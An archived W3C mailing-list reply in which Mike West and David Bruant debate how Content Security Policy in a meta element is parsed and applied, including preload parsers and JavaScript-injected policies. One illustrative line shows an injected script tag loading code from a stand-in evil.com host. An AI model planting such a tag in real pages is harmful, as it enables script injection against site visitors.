Re: Processing of meta element

Hi David, sorry for the delayed response. It's been a rough week...

On Thu, Jan 30, 2014 at 8:48 AM, David Bruant <bruant.d@gmail.com> wrote:

>  Le 30/01/2014 16:53, Mike West a écrit :
>
> Hey David, thanks for this feedback. It's helpful.
>
>  In my mind, the <meta> bits of the CSP spec are "best effort" rather
> than super-reliable restrictions.
>
> oh... is it required to be any reliable at all, then?
>

Of course. Once it's parsed, it should have exactly the same effect as the
HTTP header. "Once it's parsed", however, leaves a bit window in which it
shouldn't be expected to be effective.


> For CSP in general, we already state in the spec that authors should place
> the tag as early in the document as possible to reduce the risk of
> injection before it's parsed. I'd prefer to simply make that "best effort"
> status more explicit. I don't think that we can reasonably ask the user
> agent to delay requests until after the entire <head> is parsed
>
> This wouldn't be necessary. Currently, it's clearly stated in CSP 1.1 that
> the first meta CSP takes precedence over other policies, so every request
> happening before reading a CSP meta doesn't have CSP applying
> to them, every requests happening after a meta CSP have the policy
> applying. Each request can be sent if everything above has been parsed. And
> that's probably already enforced in current engines?
>

That's not enforced in current engines. Not Blink, in any event. There are
basically two parsers: one "real" parser that blocks on script execution
(for example), and another look-ahead parser that's used to speed up future
requests predicatively by pre-resolving DNS for hosts, and pre-loading
resources it thinks might be necessary.

Blocking that second parser on an understanding of CSP-in-meta-elements
might be possible. It's currently not the case for
referrer-in-meta-elements, however. Not in Blink (though I believe Mozilla
has historically had concerns about this).


> nor do I think it would be effective. For example, a <script> in the
> <head> might do some exciting 'document.write()' wizardry that injects
> content we should care about. Unfortunately, I doubt that's an edge case.
>
> To quote Henri Sivonen [1]: "authors who are silly enough to
> document.write [their CSP meta] are on their own.". The related CSP won't
> apply for requests sent before the script is executed, but authors had the
> choice to output it directly as a meta or document.write they and chose
> really badly.
>

Practically, I agree with you. The less document.write, the better.

>  This is use-case #2 above. It's something I explicitly intended to
> support (dumb or not :) ), based on feedback from GWT developers here at
> Google.
>
> IIUC GWT serves as server-side code and generates the client side. How
> come it can generate the client code to create a meta element in JS, but
> not the server-side part outputting a <meta> in HTML? This doesn't make
> sense to me. Improving GWT seems like the proper course of action.
>

The use case is something like this: the application spins itself up,
loading a variety of JavaScript from a variety of sources. Some (much!) of
this JavaScript is loaded outside the document's <head> for performance
reasons. Writing a <meta> element directly, therefore, isn't an option. The
element must be injected into the document's <head> once the "dangerous"
JavaScript has executed.


> I'm sorry, but I have to ask: is it a GWT-specific issue or do lots of
> popular web framework lack the expressiveness?
> If the problem is GWT-specific, it looks like Google is pushing a web
> standard to work around one of its framework limitations.
>

GWT developers are the ones I have access to, so that's the specific
feedback I can offer.

Anecdotally, I can point to any number of libraries that require 'eval' or
'new Function()' in order to create and populate templates. This isn't a
GWT-specific problem, as much fun as it would be if it was.


> Setting a CSP in JS is another attack vector for an attacker. If you
> didn't set a CSP (so, you're vulnerable to XSS :-) ), and a malicious
> script runs on your page, it can set an policy for you. For instance, it
> can forbid righteous script from reaching back to the server that served
> the page.
>

This scenario is way outside the scope of what CSP can defend against. To
be blunt: if an attacker can run script on your page, she can do anything
at all. Injecting a CSP is, almost literally, the least effective attack I
can imagine. :)


> I strongly disagree with the idea of JS-initiated CSPs. When GWT will have
> been updated to support CSP via header or parsed <meta>, it will only be
> useful for attackers.
>

I honestly don't see how injecting CSP is useful to attackers. Again, if
they can inject a CSP, they could equally well inject "<script src='
http://evil.com/evil.js'></script>" to much greater effect.


> I've added a note to that effect in
> https://github.com/w3c/webappsec/commit/dd4c1d7509e2af0ca341bd844ba2632a2b164bd7to make that intent explicit. WDYT?
>
> I prefer it because it's explicit. Thanks.
>

Great, thanks!

-mikd

Received on Friday, 7 February 2014 14:32:41 UTC